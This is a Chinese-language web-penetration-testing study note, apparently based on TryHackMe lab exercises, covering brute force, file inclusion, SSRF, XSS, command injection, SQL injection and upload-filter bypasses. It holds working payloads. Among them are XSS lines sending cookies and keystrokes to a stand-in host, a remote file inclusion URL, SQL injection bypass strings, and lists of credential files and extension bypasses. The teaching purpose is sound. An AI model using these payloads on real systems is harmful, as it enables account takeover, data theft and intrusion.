子域名枚举

子域名枚举是为了扩大攻击面,试图发现更多潜在漏洞。

OSINT-SSL/TLS证书

SSL/TLS证书

我们可以通过在线网站 http://crt.sh/ 以及 https://ui.ctsearch.entrust.com/ui/ctsearchui 所提供的一个可搜索的证书数据库,来查找某个证书的当前和历史记录。

谷歌hacking

https://www.ddosi.org/b94/详细请看

子域名枚举自动化工具

1
subdomain e -d baidu.com -o output.txt

image-20231227214833988

身份验证绕过

ffuf用户名枚举

image-20240102215128343

1
2
./ffuf -w username.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-fo
rm-urlencoded" -u "http://10.10.189.159/customers/signup" -mr "An account with this username already exists"

image-20240102215553881

ffuf工具详细使用方法:https://github.com/ffuf/ffuf

ffuf暴力破解

1
2
./ffuf -w valids_username.txt:W1,password.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-w
ww-form-urlencoded" -u "http://10.10.19.214/customers/login" -fc 200

image-20240102215718137

逻辑缺陷

在身份验证过程中会存在逻辑缺陷问题。 逻辑缺陷是指应用程序的典型逻辑路径被攻击者绕过、规避或操纵。一个网站的任何区域都可能存在逻辑缺陷问题。

根据这个逻辑,首先第一次先判断邮箱是否存在,然后再判断用户名,然后利用第二次对用户名的请求修改邮箱为hacker的邮箱,这样重置密码的信息就会被任意修改。

第一次

1
2
curl 'http://10.10.19.214/customers/reset?email=robert%40acmeitsupport.thm' -H "application/x-www-form-urlencoded" -d "usern
ame=robert"

image-20240102215852570

第二次

1
2
curl 'http://10.10.19.214/customers/reset?email=robert%40acmeitsupport.thm' -H "application/x-www-form-urlencoded" -d "us
ername=robert&email=zhuyuan@customer.acmeitsupport.thm"

在线会话期间检查和编辑由 Web 服务器设置的 Cookie 可能会产生多种结果,例如未经身份验证的访问、对其他用户帐户的访问或获得一个提升的权限。

Cookie-Plain Text(明文)

img

Cookie-Hashing(散列)

有时 cookie 值可能看起来像一长串随机字符,这些字符被称为散列,是原始文本内容的不可逆表示。 以下是可能会遇到的一些hash示例:

img

在线网址:https://crackstation.net/

Cookie-Encoding(编码)

编码类似于散列,因为它也会创建看似随机的文本字符串,但实际上,编码是可逆的。 这就引出了一个问题,编码有什么意义? 编码允许我们将二进制数据转换为人类可读的文本,这些文本内容可以通过仅支持纯文本 ASCII 字符的介质轻松安全地传输。

常见的编码类型有base32能将二进制数据转换为字符 A-Z 和 2-7,以及base64使用字符 a-z、A-Z、0-9、+、/ 和等号进行填充转换。

image-20240102220338464

解码之后的值就是正常的数据形式。

IDOR(不安全对象引用)

IDOR 代表不安全的直接对象引用,是访问控制漏洞的一种类型(IDOR越权漏洞,属于授权逻辑型漏洞)。

File Inclusion(文件包含漏洞)

文件包含漏洞包括本地文件包含(LFI)、远程文件包含(RFI)、目录遍历。

目录遍历

允许攻击者读取操作系统资源的web安全漏洞,例如在(运行应用程序的)服务器上的本地文件。 攻击者通过操纵和滥用 Web 应用程序的 URL 来定位和访问存储在应用程序根目录之外的文件或目录,从而实现对此类漏洞的利用。

当用户的输入被传递给 PHP 中的 file_get_contents 等函数时,就可能会出现路径遍历漏洞;但是要注意,该函数并不是导致该漏洞的主要因素,通常情况下输入验证不佳 或者过滤不当才是造成路径遍历漏洞的原因。

一些敏感文件目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Location                                                     Description

/etc/issue 包含要在登录提示之前打印的消息或系统标识。

/etc/profile 控制系统范围的默认变量,例如导出(Export)变量、文件创建掩码 (umask)、终端类型、用于指示新邮件何时到达的邮件消息

/proc/version 指定 Linux 内核的版本

/etc/passwd 包含有权访问系统的所有注册用户信息

/etc/shadow 包含系统用户密码的信息

/root/.bash_history 包含 root 用户的历史命令

/var/log/dmessage 包含全局系统消息,包括系统启动期间记录的消息

/var/mail/root root 用户的所有电子邮件

/root/.ssh/id_rsa 服务器上的root 用户或任何已知有效用户的 SSH 私钥

/var/log/apache2/access.log Apache web服务器的访问请求

C:\boot.ini 包含具有 BIOS 固件的计算机的引导选项

本地文件包含(LFI)

危险函数:include、require等函数

一些绕过方法:双写绕过、%00截断、访问当前目录技巧./

远程文件包含(RFI)

想要实现远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。

image-20240103142324692

image-20240103142405999

1
http://10.10.242.137/playground.php?file=http%3A%2F%2F10.14.67.6%3A8000%2Fcmd.txt

远程文件包含时,先在个人服务器上启动http服务,然后利用远程文件访问就能将想要包含的文件上传。

SSRF

全称:Server-Side Request Forggery,即服务端请求伪造。

是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。简单来说就是利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。

image-20240103155223677

SSRF种类

  • 常规SSRF:有回显
  • 盲SSRF:无回显

SSRF影响

  • 能访问到未经授权的区域。
  • 能访问客户/组织数据。
  • 能够扩展到内部网络
  • 能够获取到身份验证令牌

漏洞的可能出现点

分享功能:通过URL地址分享文章、下载图片、图片文章、头像更换、url中含有Domain等等

1
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain...

绕过方法

Deny List

是一个类似于黑名单的一个列表,如果请求中出现列表中带有的字段,则不会被接受。

攻击者可以通过使用其他 localhost 引用来绕过(bypass)拒绝列表,例如使用 00.0.0.00000127.1127.*.*.*2130706433017700000001或者使用具有解析为 IP 地址127.0.0.1的 DNS 记录的子域如127.0.0.1.nip.io等。

在云环境中,阻止对IP地址169.254.169.254的访问将是有益的,因为该地址包含已部署的云服务器的元数据,而元数据可能包括一些敏感信息。 攻击者可以通过在自己的域上注册一个子域来绕过此防御,将该注册子域的 DNS 记录指向 IP 地址169.254.169.254即可。

Allow List

与Deny List相反,这是一个白名单,只有列表上的请求才能被接受。

攻击者可以通过在自己所拥有的域名上创建一个子域来快速规避前面提到的规则,例如创建子域之后,web应用程序的逻辑将允许此子域url输入并能让攻击者控制目标web服务器的内部 HTTP 请求。

Open Redirect(开放重定向)

如果上述绕过方法不起作用,攻击者还可以使用另一种技巧,即开放重定向。开放重定向是目标web服务器上的端点,目标网站访问者可以通过该端点自动重定向到另一个网站地址。

Cross-site Scripting(XSS跨站脚本漏洞)

XSS漏洞被归类为注入攻击,在XSS攻击中:恶意的 JavaScript代码 将被注入到 Web 应用程序中,并且该js代码意图被其他用户无意间执行。

XSS Payloads

Proof Of Concept(POC-概念验证)

这是最简单的xss payload,只是为了验证存在xss漏洞。

1
<script>alert('XSS');</script>

Session Stealing(会话窃取)

用户会话的详细信息(例如登录令牌-login token)通常保存在目标计算机上的 cookie 中。

1
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

Key Logger(键盘记录器)

下面的js代码能充当键盘记录器,,如果将该类型的XSS payload放置在目标网站上用于接收用户登录名或信用卡详细信息的代码处,这可能会非常有害。

1
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

Business Logic(业务逻辑)

这个XSS payload比上面的例子要具体得多,此处会调用特定的网络资源或 JavaScript 函数。 例如,假设存在一个名为 user.changeEmail() 的用于更改用户电子邮件地址的 JavaScript 函数

1
<script>user.changeEmail('attacker@hacker.thm');</script>

反射性XSS

攻击者可以向潜在受害者发送XSS链接,然后让受害者在浏览器上执行相关的XSS payload代码,从而获取到用户会话信息或用户的其他信息(作为测试使用时,XSS payload在执行后 往往产生弹窗、页面重定向、页面嵌套等效果)。

  • URL 查询字符串中的参数(Parameters )
  • URL 文件路径
  • HTTP 标头(尽管在实践中不太可能存在XSS漏洞利用)

存储型XSS

存储型XSS的payload能够存储在 Web 应用程序中(例如,将XSS payload存储在数据库中),然后在其他用户访问站点或网页时就能自动运行相关的XSS payload。

存储型 XSS 中的恶意 JavaScript 代码可以将用户重定向到另一个站点、窃取用户的会话 cookie,或者在充当访问用户的同时在目标网站上执行一些其他操作。

  • 用户发出的对博客文章的评论
  • 用户的资料信息
  • 网站的列表信息

基于DOM的XSS

DOM 代表文档对象模型(Document Object Model),是 HTML 和 XML 文档的应用程序编程接口(API-application programming interface),它代表的是一个页面,以便程序可以更改文档结构、样式和内容。

基于 DOM 的 XSS 能够让 JavaScript恶意代码 直接在浏览器中执行,而无需加载任何新页面或将数据提交给后端代码。当网站上的 JavaScript恶意代码 作用于输入或与用户发生交互时,该代码就会被执行。

Blind(盲注)XSS

盲注类型的 XSS 类似于存储型 XSS,因为在此种类型的XSS攻击中 XSS payload 也会被存储在目标网站上以供其他用户执行,但是在这种XSS攻击中,看不到相关的XSS payload是如何工作的或者无法自行测试该XSS payload。

当攻击者使用了正确的XSS payload时,相关代码就可以回调攻击者所拥有的网站,从而显示目标站点的员工门户(入口页) URL、员工的 cookie,甚至员工正在查看的门户(入口页)内容;然后攻击者就可以尝试劫持员工的会话并访问一些私有门户(入口页)。

在测试 Blind XSS 漏洞时,你需要确保你的 XSS payload 有回调(通常是一个HTTP请求);这样,你就能知道你的代码是否被执行以及何时被执行。

流行的Blind XSS攻击工具

1
XSShunter

闭合方式

普通的POC验证

1
<script>alert('THM');</script>

对输入input进行闭合处理

1
"><script>alert('THM');</script>

对textarea 标签进行闭合

1
</textarea><script>alert('THM');</script

闭合一些JavaScript代码段

img

1
';alert('THM');//

当关键字sript被过滤

img

1
<sscriptcript>alert('THM');</sscriptcript>

闭合标签以及该标签中的属性值

img

1
/images/cat.jpg" onload="alert('THM');

Polyglots(多语言):

1
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

Command Injection(命令注入)远程代码执行(RCE)

命令注入是滥用web应用程序的行为从而实现在操作系统上执行命令,在执行系统命令时将获得与OS设备上的web应用程序运行时相同的权限。 例如,在以名为 joe 的用户身份运行的 Web 服务器上实现命令注入将在对应的操作系统用户 joe 权限下执行命令——从而获得用户 joe 所拥有的任何系统权限。

命令注入漏洞也可被称为“远程代码执行”(RCE),因为攻击者通过命令注入漏洞 可以尝试诱使web应用程序执行他们所提供的一系列有效载荷(在web应用程序中远程执行代码),而无需直接访问目标机器本身(例如:通过交互式 shell的方式)。Web 服务器将在运行该web应用程序的用户的权限下以及相关访问控制级别下 处理并执行 攻击者所提供的payload代码。

使用用户输入的数据来填充系统命令的应用程序,通常可以和意想不到的应用程序行为进行结合。例如,shell 运算符 ;&&& 将组合两个(或多个)系统命令并同时执行它们。

  • 盲注类型的命令注入(无回显)
  • 详细的命令注入(有回显)
1
2
3
4
Blind(盲注类型)   这种类型的命令注入 在测试 payload 时应用程序并没有直接输出结果;因此必须调查应用程序的行为以确定的 payload 是否成功执行。

Verbose(详细类型) 这种类型的命令注入,在测试 payload 时能够从应用程序获得直接反馈;
例如,当运行 whoami 命令以查看应用程序在哪个用户下运行时,Web 应用程序将直接在页面上输出具体的用户名信息。

盲注类型的可以使用ping、sleep等命令

也可以使用强显示,利用>之类的重定向运算符完成。

详细命令注入可以使用ping、whoami直接显示出来。

Linux

1
2
3
4
5
6
7
8
9
10
whoami          查看应用程序在哪个用户下运行。

ls 列出当前目录下的内容,你可能会找到配置文件、环境文件(令牌和应用程序密钥)等文件。

ping 此命令将调用web应用程序并挂起,这将有助于测试web应用程序是否存在盲注类型的命令注入漏洞。

sleep 这是测试web应用程序是否存在盲注类型的命令注入漏洞的另一个有用的payload。

nc Netcat可用于在易受攻击的web应用程序上生成反向shell,你可以使用此立足点围绕目标机进行导航以获取其他服务、文件或潜在的提权方法。

Windows

1
2
3
4
5
6
7
8
whoami          查看应用程序在哪个用户下运行。

dir 列出当前目录下的内容,你可能会找到配置文件、环境文件(令牌和应用程序密钥)等文件。

ping 此命令将调用web应用程序并挂起,这将有助于测试web应用程序是否存在盲注类型的命令注入漏洞。

timeout 此命令也能调用web应用程序并挂起,如果未安装 ping 命令,它对于测试 web应用程序 是否存在盲注类型的命令注入漏洞也很有用。

SQL Injection(SQL注入漏洞)

SQL(结构化查询语言)注入,通常称为 SQLi,是对 Web 应用程序数据库服务器的攻击,会导致执行针对数据库的恶意查询。 当 Web 应用程序使用未经验证的用户输入与数据库发生通信时,攻击者就有可能窃取、删除或更改私人和客户的数据,并攻击 Web 应用程序的身份验证方式以访问一些私有信息或客户的私有区域。SQLi 不仅是最古老的 Web 应用程序漏洞之一,而且也是最具破坏性的漏洞之一。

数据库

数据库是以有组织的方法通过电子信息的形式存储数据集合的一种方式。

数据库由 DBMS 控制,DBMS 是数据库管理系统(Database Management System)的字母缩写,DBMS 可分为关系型和非关系型。

数据库中有多个表,每个表都是由行列组成的。

img

每个列被称为字段

SQL语句

SQL(结构化查询语言)是一种用于查询数据库的功能丰富的语言,具体的 SQL 查询通常被称为 SQL 语句。

SELECT

1
select * from users;

select是查询,*代表全部信息,from users告诉数据库从users表中查询。

1
select username,password from users;

只查询username和password字段

1
select * from users LIMIT 1;

只返回一行数据

1
2
3
select * from users where username='admin';

使用以上查询语句,将只返回用户名等于 admin 的行。
1
2
3
select * from users where username != 'admin';

使用以上查询语句,将只返回用户名不等于 admin 的行。
1
2
3
select * from users where username='admin' or username='jon';

使用以上查询语句,将只返回用户名等于 admin 或 jon 的行。
1
2
3
select * from users where username='admin' and password='p4ssword';

使用以上查询语句,将只返回用户名等于 admin 且密码等于 p4ssword 的行
1
2
3
select * from users where username like 'a%';

这将返回username字段中以字母 a 开头的所有行。
1
2
3
select * from users where username like '%n';

这将返回username字段中以字母 n 结尾的任何行。
1
2
3
select * from users where username like '%mi%';

这将返回用户名中包含字符 mi 的任何行。

UNION

UNION 语句将组合两个或多个 SELECT 语句的结果以从单个或多个表中检索数据;在进行多表查询时,此查询的规则是 UNION 语句必须在每个 SELECT 语句中检索相同数量的列,这些列必须具有相似的数据类型并且列顺序必须相同

1
SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;

INSERT

NSERT 语句将告诉数据库我们希望向表中插入一行新数据。
into users告诉数据库我们希望将数据插入哪个表,(username,password)将指明我们需要为其提供新数据的列/字段属性,然后是values ('bob','password123');将为先前指定的列提供一行新数据。

1
insert into users (username,password) values ('bob','password123');

UPDATE

UPDATE 语句将告诉数据库我们希望更新表中的一行或多行数据。
可以使用update %tablename% SET来指定要更新的表,然后选择想要更新的一个或多个字段(此处需要指明列/字段的具体值)并用逗号分隔清单,例如username='root',password='pass123',最后与 SELECT 语句类似,还可以使用 where 子句来准确指定你要更新的行,例如where username='admin';

1
2
3
4
5
update users SET username='root',password='pass123' where username='admin';

更新之前为:2 admin p4ssword

更新之后为:2 root pass123

DELETE

DELETE 语句将告诉数据库我们希望删除一行或多行数据。除了缺少希望返回的列之外,此查询的格式与 SELECT语句 非常相似,在此处可以使用 where 子句来精确指定想要删除的数据,并可使用 LIMIT 子句来指定要删除的行数。

1
2
3
delete from users where username='martin';

被删除的数据:3 martin secret123
1
2
3
delete from users;

如果查询语句中没有使用 WHERE 子句,那么表中的所有数据都会被删除。

SQL注入漏洞

当用户的数据可能会被包含在SQL查询语句中,就可能会受到SQL注入攻击影响

1
2
3
4
5
6
7
8
9
10
11
12
如何判断是否存在SQL注入:
在URL或者一个提交表单中输入一个英文单引号或者其他特殊符号,如果页面出现错误说明此页面存在SQL注入,如果页面正常显示说明可能有字符被过滤了或者不存在注入。

SQL注入的具体类别:
事实上SQL注入有很多种,
按数据类型可以分为数字型、字符型等,
按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,
按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的盲注和基于时间的盲注。

基于搜索的注入查询语句为:SELECT * FROM user WHERE search like '%1%'
基于搜索的注入也可分为POST型和GET型,GET型一般是用于实现网站上的搜索功能,而POST型则是用在用户登录处,可以从form表单的method=" "属性来区分是GET型还是POST型。
基于搜索的注入又被称为文本框注入。

带内SQLi(SQL injection)

带内(In-Band) SQL 注入

最简单的sql注入类型,能够从数据库中提取数据到发现注入点的同一页面。

1
2
SELECT * FROM users WHERE username='' OR '1'='1' --' AND password=''

基于报错(Error-Based)的 SQL 注入

错误消息会直接打印到浏览器屏幕,这通常可用于枚举整个数据库。

1
2
SELECT * FROM products WHERE name LIKE '%' OR 1=1; --%'

基于联合(Union-Based)的 SQL 注入

这种类型的SQL注入会利用 UNION 运算符和 SELECT 语句将其他结果返回到发现注入点的页面,此方法是通过 SQL 注入漏洞获取大量数据的最常用方法。联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列。

联合型注入发生的前提条件:要有显示位,在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端则会将数据展示在某个页面中,这个展示数据的位置就叫显示位。

1
1 UNION SELECT username, password FROM users --
1
SELECT name, description FROM products WHERE category_id = 1 UNION SELECT username, password FROM users --

SQL盲注——身份认证绕过

Blind SQLi (盲注类型的SQL注入)

盲注无法看到回显,错误消息被禁用了。

Authentication Bypass (身份认证绕过)

1
select * from users where username='1' and password='' OR 1=1;

利用’ OR 1=1;可以实现查询结果为true从而绕过登陆验证

SQL盲注—基于布尔

基于布尔的SQL盲注

通过注入返回结果的true或者false,通过枚举来查找到正确的数据

1
admin123' UNION SELECT 1,2,3 where database() like 's%';--

基于布尔的SQL盲注

这是查找数据库名称以s开头的。同理可以继续枚举表的其它字段

SQL盲注—基于时间

通过回显的时间来判断是否注入成功。一般注入失败的时间比较短,可以利用sleep函数来进行判断。

时间延迟的查询效果是通过使用内置方法(例如 SLEEP(x))以及 UNION 语句来实现的,SLEEP()方法只会在 UNION SELECT 语句查询成功时执行。

1
admin123' UNION SELECT SLEEP(5);--

如果注入成功,那么响应时间就是5秒之后。

带外SQLi(SQL injection)

带外SQL注入攻击可分为两种不同的通信渠道,其中一种将用于发起注入攻击,另一种则用于收集攻击结果。 例如,攻击渠道可能是通过 Web 请求,而数据收集渠道可能是通过监控 针对你所控制的服务器而发出的 HTTP/DNS 请求。

  • 攻击者使用SQL注入payload向存在SQLi漏洞的目标网站发出 Web 请求。
  • 目标网站对数据库进行 SQL 查询操作,相关的查询语句会加载攻击者所使用的payload。
  • 攻击者所使用的payload中另外还包含了一个请求,该请求会强制将 包含来自目标服务器数据库的数据的HTTP请求 返回到攻击机上。

SQL注入漏洞修复

预编译语句

在预编译查询中,开发人员首先编写的是 SQL 查询语句,然后再将任何用户输入都添加为查询语句中的参数。 编写预编译语句可以确保 SQL 代码结构不发生变化,并且数据库也可以更好地区分查询和数据,使用预编译语句还将让你的代码看起来更简洁且更易于阅读。

对外部输入进行验证

输入验证处理可以大大保护输入到 SQL 查询语句中的内容。 通过建立允许列表(白名单)可以将输入限制为仅允许某些字符串,或者通过使用编程语言中的字符串替换方法来过滤一些你允许的字符或不允许的字符。

转义用户输入

允许用户输入包含诸如 ' " $ \ 之类的特殊字符可能会导致 SQL 查询中断,或者更糟糕的是 攻击者可通过输入这些字符以进行SQL注入攻击;转义用户输入的方法是在这些特殊字符前面加上反斜杠 (\) 字符,然后就能将这些字符作为常规字符串处理而不是作为特殊字符进行解析。

SSRF(服务器伪造请求)

当攻击者可以强制 Web 应用程序代表他们向任意目的地发送请求,同时控制请求本身的内容时,就会出现这种类型的漏洞。 SSRF 漏洞通常源于我们的 Web 应用程序需要使用第三方服务的实现。

image-20240105164708476

server参数就是向第三方服务端的请求,所以可以修改这个参数为我们自己的攻击ip。然后在自己的攻击端监听一下,就能查看到wen应用程序的请求。

image-20240105164834159

SSRF的危害

  • 枚举内部网络,包括 IP 地址和端口
  • 滥用服务器之间的信任关系并获取对其他受限服务的访问权限。
  • 与一些非 HTTP 服务交互以获取远程代码执行 (RCE)。

Upload Vulnerabilities (上传漏洞)

  • 文件上传 覆盖服务器上的现有文件
  • 文件上传 在服务器上上传和执行Shell
  • 文件上传 绕过客户端过滤
  • 文件上传 绕过各种服务器过滤
  • 文件上传 欺骗内容类型验证检查

客户端过滤

客户端脚本一般是js,所以这种过滤脚本肯定会在浏览器中执行

服务器端过滤

服务器端脚本将在服务器上运行。我们构造的payload必须符合这个过滤要求,从而才能让服务器允许执行。

文件扩展名验证

1
2
3
4
文件扩展名(理论上)用于标识文件的内容。
在实践中,它们很容易改变,所以实际上并没有多大意义。
然而,MS Windows 仍然使用它们来识别文件类型,尽管基于 Unix 的系统倾向于依赖其他方法,
检查文件扩展名的筛选器有两种工作方式。它们要么是黑名单扩展(即有一个不允许的扩展名列表) ,要么是白名单扩展(即有一个允许的扩展名列表,并拒绝所有其他扩展名)。

文件类型过滤

文件类型过滤 类似于文件扩展名验证,但是更加密集,文件类型过滤会再次验证文件的内容是否可以上传

1
2
3
MIME 验证:
MIME (多用途 Internet 邮件扩展)类型用作文件的标识符——最初是在通过电子邮件作为附件传输时使用,现在也在通过 HTTP (S)传输文件时使用。
文件上传的 MIME 类型附加在请求的头部,看起来像这样:

img

1
2
3
4
MIME类型遵循的格式为: < type >/< subtype > 。
在上面的请求中,可以看到图片“ Spaniel.jpg”已经上传到服务器。
作为一个合法的 JPEG 图像,这次上传的 MIME 类型是“ image/JPEG”。
文件的 MIME 类型可以在客户端和/或服务器端进行检查,但是,由于 MIME 是基于文件的扩展名的,因此也很容易绕过它。
1
2
3
4
魔术数字验证:
魔术数字是确定文件内容的更准确的方法,尽管它们并非不可伪造。
文件的“魔术数字”是指标识文件内容 在文件内容开头位置的一串字节。
例如,一个 PNG 文件在文件的最顶部有这些字节:89 50 4E 47 0D 0A 1A 0A

文件长度过滤

1
2
3
4
文件长度过滤 用于防止通过上传表单将大型文件上传到服务器(因为这可能导致服务器资源短缺)。
在大多数情况下,当我们上传 shell 时,这不会给我们带来任何问题。
但是,值得注意的是,如果上传表单只希望上传一个非常小的文件,可能会有一个长度过滤,以确保遵守文件长度要求。
如果PHP反向shell文件大小为5.4 Kb ——相对较小,但是如果表单期望的文件最大为2Kb,那么我们需要找到一个替代的 shell 来上传。

文件名过滤

1
2
3
4
如前所述,上传到服务器的文件应该是唯一的。
通常这意味着向文件名添加一些随机字符,但是,另一种策略是检查服务器上是否已经存在同名文件,如果存在,则返回给用户一个错误提示。
此外,文件名应该在上传时进行消毒,以确保它们不包含任何“坏字符”,“坏字符”可能会在上传时对文件系统造成潜在的问题(例如,Linux 上的空字节或正斜杠,以及控制字符";" 和潜在的Unicode 字符......)。
这对我们来说意味着,在一个管理良好的系统上,我们上传后的文件不太可能与上传前的文件名称相同,所以要注意,如果你设法绕过了过滤,你可能还要找到上传后的shell。

文件内容绕过

1
2
更复杂的过滤系统可能会扫描上传文件的全部内容,以确保文件不会在扩展名、 MIME 类型和 Magic Number上面进行欺骗。
这是一个明显比大多数基本过滤系统更复杂的过滤过程。

绕过客户端过滤

1
2
3
4
5
6
7
8
9
10
1.关闭浏览器中的 Javascript以绕过客户端过滤 ——如果网站不需要 Javascript 来提供基本的功能,那么这种绕过方法就是有效的。
如果完全关闭 Javascript 将阻止站点工作,那么你可能需要选择其他方法来进行绕过客户端过滤,

2.拦截并修改将要加载的web页面。使用 Burpsuit,可以拦截传入的Web页面,并在 Javascript 过滤器有机会运行之前就删除这个过滤器。

3.拦截并修改文件然后再上传。前一个方法在加载网页之前工作,这个方法则允许网页正常加载,在文件已经通过,并被过滤器接受之后,再拦截文件上传操作(upload)。

4.直接将文件发送到上传点,可以直接使用像 curl 这样的工具发送文件,这种将数据直接发布到包含处理文件上传代码的页面是完全绕过客户端过滤器的另一种有效方法。
curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site>
要使用这种方法,首先要拦截一次成功的上传(使用 BurpSuite 或浏览器控制台) ,查看上传中使用的参数,然后将这些参数插入上面的命令。

在默认情况下,Burpsuite 不会拦截 Web 页面正在加载的任何外部 Javascript 文件。如果需要编辑一个不在正在加载的主页面中的脚本(也就是外部js脚本),需要点击 Burpsuite窗口顶部的“ Options”选项卡,然后在“ Intercept Client Request”(拦截客户端请求)部分,编辑第一行的“文件扩展名-不匹配”的条件(condition),删除^js$| :

image-20240106150656401

绕过服务器过滤

服务器端的过滤无法看到代码

如果有使用文件扩展名黑名单作为服务器端过滤器的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//Get the extension
$extension = pathinfo($_FILES["fileToUpload"]["name"])["extension"];
//Check the extension against the blacklist -- .php and .phtml
switch($extension){
case "php":
case "phtml":
case NULL:
$uploadFail = True;
break;
default:
$uploadFail = False;
}
?>

代码正在查找最后一个句点(.)并使用该文件名确认扩展名

一些常见的扩展,可以尝试绕过

1
.php3, .php4, .php5, .php7, .phps, .php-s, .pht and .phar

也可以尝试上传shell.jpg.php的文件等等

通常步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1.使用浏览器扩展插件,比如 Wappalyzer(或者手动) ,我们可以寻找到 Web 应用程序可能使用了什么语言和框架。 Wappalyzer并不总是100% 准确,通过向网站发出请求来手动枚举这些信息是一个很好的开始,同时可以使用 Burpsuite来截取响应消息。消息头中的server或者x-powered-by可用于获取有关服务器的信息,我们还要寻找攻击的载体,比如,一个上传页面。

2.找到一个上传页面之后,进一步检查它。查看客户端脚本的源代码,以确定是否有任何要绕过的客户端过滤器

3.然后尝试上传一个完全无害的文件。从这里将看到如何才能访问我们的文件,换句话说,我们可以直接在上传文件夹中访问它吗?上传的文件是不是嵌在某个页面里了?网站对所上传的文件的命名方案是什么?如果上传之后,文件所在的位置不是很明显,就需要使用Gobuster 这样的目录扫描工具。
gobuster在这里的一个常用参数选项是-x 选项,该选项可用来查找具有特定扩展名的文件,例如,如果将 -x php,txt,html 添加到 gobuster 命令中,则该工具将附加.php,.txt和.html到选定的字典内容中的每一项。如果已经设法上传了一个有效负载,并且服务器会更改上传文件的名称,那么这将非常有用。

4.确定了如何以及在哪里可以访问上传的文件之后,可以尝试进行恶意文件上传,绕过在第二步中发现的任何客户端过滤器。如果此时存在服务器端过滤器使文件上传停止,那么它给我们的报错消息对于确定接下来的步骤非常有用。
假设我们的恶意文件上传操作已经被服务器端过滤所停止,以下有一些方法可以确定服务器端使用的是哪种类型的过滤:
1.如果可以成功地上传一个文件扩展名完全无效的文件(testingimage.invalidfileextension),服务器很可能使用了"扩展名黑名单"来过滤文件,反之,如果该上传失败,那么服务器可能使用的是"扩展名白名单"的方式过滤文件。
2.尝试重新上传最初被接受的完全无害文件,但这一次将该文件的魔术数字修改为shell文件类型(如php类型)的魔术数字。如果上传失败,那么说明服务器正在使用一个基于魔术数字验证的过滤器。

3.与前一点一样,再次尝试上传无害的文件,但是使用 BurpSuite 拦截请求,并将上传的 MIME 类型更改为你希望通过过滤的MIME类型。如果上传失败,那么说明服务器端是基于 MIME 类型验证进行过滤的。

4.枚举服务器端是否存在文件长度过滤,就是上传一个小文件,然后逐渐上传更大的文件,直到你触发了过滤器。到那时你就会知道可接受的极限文件大小是多少。如果你非常幸运,那么第一次上传失败的错误信息可能会直接告诉你文件大小限制是多少。请注意,一个小的文件长度限制可能会阻止你上传shell文件----比如:到目前为止我们一直在使用的反向 shell文件。